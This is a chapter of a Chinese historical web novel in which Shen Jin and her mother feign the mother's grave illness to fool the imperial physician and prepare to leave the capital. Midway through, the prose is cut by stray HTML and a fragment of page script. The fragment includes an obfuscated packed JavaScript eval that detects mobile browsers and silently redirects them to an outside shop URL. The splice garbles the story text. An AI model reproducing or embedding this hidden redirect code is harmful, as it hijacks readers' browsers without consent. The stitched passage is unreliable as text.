苏婉的卧室内，菱花窗糊上了高丽纸，隔绝了室外萧瑟的秋风。
靠墙的多宝阁格架高低错落，居中一格安放着一只青白釉胆瓶，瓶里插着几只秋日刚开的白木芙蓉，雪白的花瓣略带浅粉，给屋里带来了几分生机。
只是室内未闻花木清香，唯有清苦的药气经久不散。
这是苏碗自沈策殡礼后病倒的第五日了。
紫檀木拔步床挂着月锦色的帷幔，只露出一个血管清晰可见的手腕。
奉旨前来的太医院院正坐在苏婉的床榻外，手指搭在苏婉腕骨分明的手腕上，蹙着眉头，许久未开口。
一旁候着的忠叔和刘嬷嬷大气也不敢喘，见太医这般神色，不由得偷偷看了眼沈烬。
又过了片刻，太医收回手，站直后离开了那如坐针毡的软凳，看向沈烬。
沈烬会意，率先走出内室，来到外间后还未站定就转身看向太医：“院正，我母亲今日可有好转了？”
“郡主，夫人先前脉象虚浮细弱，是忧思郁结之象。按理说，服下臣开的药后应有起色，可臣这两日诊脉，夫人的气血损耗之兆并未收敛，反而有加重之势。”
“那我母亲如今病况如何？”
“院正不必担心我受不住，还请您据实相告。”沈烬道，担忧与慌乱溢于言表。
太医叹了口气：“郡主恕老臣直言，夫人此番不像是寻常的悲郁虚损。老臣第一日为夫人诊脉，开以调养气血，疏肝解郁之方，若是寻常，服药静养后应当有好转，不至于仍连日昏沉，食不下咽。”
“夫人早年小产根基受损，当时没能调养好，落得了精血亏损的旧症。近年来虽温养得宜，但也禁不得大悲大怒。”
“此番夫人哀恸太过，劳形耗神，旧根积弊未除又添新悲。虽不凶险危急，但若长此以往，恐怕会肝郁闭塞，气血不畅，于寿数有碍。”
“可有办法救一救我母亲？若是需要珍奇药材，我立刻去寻。”沈烬语速加快，没忍住往前迈了半步。
“是啊太医，您是太医院院正，是这世间医术最高明的人了，若是连您都没有办法，我们真不知道去何处求了！”刘嬷嬷说话间已然带上了哭腔。
忠叔也跟着开口：“我们大小姐事母至孝，还请院正体恤。不管是多珍稀的药材，我等必会尽力寻来的。”
来给苏婉看病的太医在心里又叹了一口气：“药石补身，却解不开心中郁结。”
“心结一日不开，再上等的药材，也只能够暂时维系表象，病根难去。夫人如今虚不受补，若长此迁延，气血日耗，于脏腑是极大的损伤。”
太医的话落地，沈烬像被巨石击中，神情茫然。
过了几息，她缓慢地开口：“当真，会损伤寿命吗？”
“千真万确。”太医道，“人之根基在精血情志，夫人脉象已是形未枯，神先竭，神散则身衰。”
“若能好生静养，断悲止思，尚可续命固本，否则晚岁堪忧。臣会重新斟酌方药，可终究还要看夫人自身能否宽解。”
沈烬的目光看向屋内里间，一行清泪无声落下。
“父亲殡礼一结束，母亲便病倒了，皇上又派人送来这许多药材，我还未来得及入宫谢恩。现下母亲离不开人，还请院正代为转告，等母亲病情稳定些，我定入宫亲自向皇上道谢。”
“郡主放心，老臣也会将夫人病情如实回禀。”
沈烬眼底的忧痛尽数显露，微躬了躬身，礼数周全：“多谢院正。”
二人言毕，太医写下了新方子，再三叮嘱煎药等事宜后请辞。
沈烬把太医送到门外阶上，吩咐道：“忠叔，好生恭送院正大人。”
沈忠应声上前，引着太医退出内院。
外间的脚步声渐行渐远。
院门吱呀合上，庭院重回寂静。
方才萦绕在沈烬周身的担忧和无措，瞬息之间褪得干净。
“大小姐，夫人喊您。”刘嬷嬷上前，低声禀报。
沈烬锐利的眉眼变得柔软，转身向满是药香的内室走去：“让小厨房给母亲做碗藕粉桂花羹来吧。”
“是，老奴这就去。夫人在江南的时候就爱吃这个。”刘嬷嬷的声音里带了些轻快。
“劳烦嬷嬷，别盛得太多。”
刘嬷嬷领命离开。
沈烬穿过隔断外室的碧纱橱，打开了室内的窗户，随后走到镂空的香炉旁，取出来几包熬过的药渣。
药包里的当归、熟地和炒白术等，俨然是太医之前开过的药材。
听到动静的苏婉拉开了帷幔，靠着枕头坐了起来，看沈烬熟练地取出药渣包，不由得笑了：
“烬儿，你是怎么想到这法子的？”
沈烬手上动作未停：“小时候偷偷把药倒进香炉里，满屋子都是苦味，不过不到一个时辰就散了。”
“后来发现用用云母片隔火烘烤熬过的药渣，散发的药香浓郁持久，气味变淡后还能滴上几滴米酒复香。”
沈烬把取出来的药渣包放进一个黑色小包裹里，打算等会带出去处置，免得水汽让香炉生锈。
苏婉指尖拂过锦被边角：“用些有药气的香丸也可以，省得你每日还要亲自熬药处理这些东西，你这些天没睡过几个安稳觉，也该歇歇了。”
沈烬把新的药渣包放在暗匣里以备意外，并未取出里面的云母片，往炉底添了小块银炭。
“这位院正医术精湛，药香与药香之间的差别怕是能轻易辩得，我们既做戏，就做稳妥些。”
“我看烬儿的医术也不逊色于院正，这药丸服下竟真能以假乱真，连太医也没能看出来。”
“母亲说笑了，这是穆先生弄得，我还没这么大本事。”
沈烬能识文断字之后，就“适时”地表露出来了自己对医药的兴趣，好为以后展露从系统学来的医术时有个合理的解释。
沈毅为人开明，还真的给沈烬请来了一位老郎中。
郎中叫穆款冬，在民间颇有盛名，后来因直言不讳挡了别人的财路，被挤兑地难以维生，就来到国公府给沈烬讲授医理。
沈烬虽然有系统辅助，但基础的草木辨识和医理，还是要慢慢去学的。
“穆先生为人良善，事后我们要好好谢谢人家，只是这事不能走漏了风声。”
“母亲放心，先生是个可靠之人，口风严谨，他还等着我给他养老送终呢。”
苏婉闻言笑意深了几分，又淡了下去：“烬儿，你当真想好了吗？”
“母亲不是不信你，也不是不愿意，只是怕这其中风险太大，万一露了破绽，母亲不愿你再有什么闪失了。”
沈烬将黑色小包裹系紧，放在门边矮几上，回身坐到床沿，伸手将苏婉鬓边的碎发挽到耳后：
“母亲，京城现在对我们来说已经是是非之地，不能久留。我们在天子脚下，多少双眼睛都盯着，行事束手束脚，一言一行都怕行差踏错，只能守着这虚名度日，沈家族人也大多和我们不是一条心，只怕没做错什么也有是非招惹上门。”
“沈家的爵位恐怕是没有了，皇上也不会再把兵权交给沈家。我们手里有钱，有些人，唯独没有实际的权势，这在京城是寸步难行的。如今祖父和父亲都走了，再也没有人能做我们的靠山，我们便要做自己的靠山。”
从前沈毅和沈策在世的时候，国公府手握兵权，在朝野之中方有制衡之力。
可如今二人相继离世，宗族人心不齐，沈家旧部估计就要被拆分瓦解。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966944|214543||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
沈烬留在京城，筹码太少，束缚太多，纵是有千般手段也难以施展，但她不能让自己和苏婉为人鱼肉，毫无还手之力。
她还有很多事情没做完。
苏婉听得有些心惊：“权势？烬儿，女子不得为官，如何能有权势？”
“女儿心里有数。” 沈烬握住她的手，“母亲且宽心，我并非要做什么大逆不道之事。”
“我只是想带母亲离开这里，到一处安稳之地徐徐图之。到那时，母亲不必困在京城的内宅后院之中，也不必担惊受怕，以后都能快活地过日子。”
她只是为了往后能护住自己和母亲，护住在意的人罢了。
苏婉心中熨帖，又自责沈烬小小年纪就要挑起这幅担子，她是不能拖女儿后腿的，可又不知该如何行事：“皇上会答应让我们离开吗？”
“先前皇上大肆册封我与母亲，让父亲的身后极尽哀荣，后又将我的奏书传给天下人看，虽为他洗脱了刻意夺爵，让父亲后继无人的嫌疑，但也让他被自己束住了手脚。”
“皇上既想不着痕迹地夺了沈家爵位，削弱沈家势力，又想不留骂名，行事会多有顾忌。朝堂和民间的声势于皇上而言是枷锁，于我而言却是载水之舟。”
“近日来皇上厚待沈国公妻女的名声在民间如日中天，母亲眼下病重人尽皆知，我们想要离开这个伤心之地也是迫不得已，难道皇上要眼睁睁看着父亲离世不久，母亲又缠绵病榻吗？”
“皇上不会砸了自己的招牌的，他不得不同意。”
苏婉心中忧虑未散：“可皇上真的会被民意裹挟吗？”
“这只是其一。”沈烬答道：“我们离开京城，对皇上也是好事。我们留下，国公府的旗帜就还在，所有人都还记得我们，我们走了，皇上才好施展，沈家才会被慢慢淡忘。”
“况且，不止皇上，还有许多人，也希望我与母亲离开京城呢。”
苏婉没有再问，她的女儿行事大胆又心细，沈毅教的极好，她是放心的。
纵然往前是刀山火海，她也会陪沈烬去闯。
外室传来的脚步声，刘嬷嬷端着木托盘走入内室，托盘上放着一碗藕粉桂花羹，淡藕色羹糊上面撒了一层金黄干桂花，香甜清淡。
“夫人，郡主，藕粉桂花羹炖好了。”刘嬷嬷走到床榻边的矮几旁，小心将瓷盏搁稳，又取来银匙。
“特意温到了适口的温度，夫人白天还没吃东西，进几口垫垫身子吧。”
苏婉伸手接过：“让嬷嬷担心了。”
刘嬷嬷看苏婉吃了两口，笑的皱纹堆到了一起：“夫人能吃点就好。”
一旁的沈烬见吃食送到，站起了身：“母亲先用着，我晚些时候再过来探望。”
“你去吧，今天就不必过来了，要早些歇息。”
苏婉知道，离京的事情不会像沈烬说的那么容易，她会照顾好自己，不让沈烬劳心劳力的同时还要记挂着她这个大人。
“女儿晓得。”沈烬屈膝一礼，身影很快消失在外室的光影之中。
沈烬来到这个世界上已经十一年了，作为一个旁观者和亲历者，她觉得大启的气运已经快到头了。
表面上看着是一副盛世，内里根基早已朽坏。
皇帝醉心权术，皇室内斗不休，数十年来地方吏治崩坏，土地兼并愈演愈烈，种种沉疴旧疾，已经积重难返。
有人说沈策此战是为大启续命之战，所言非虚。
即使沈策打出了这么漂亮的结果，大启几年内也经不起再劳筋动骨一次了。
沈烬想到高坐殿宇的皇上，只怕这个国家已经无力挽回颓势。
她要做最坏的打算，在风暴来临之前，到能撕开一片天的地方去，扎下根来。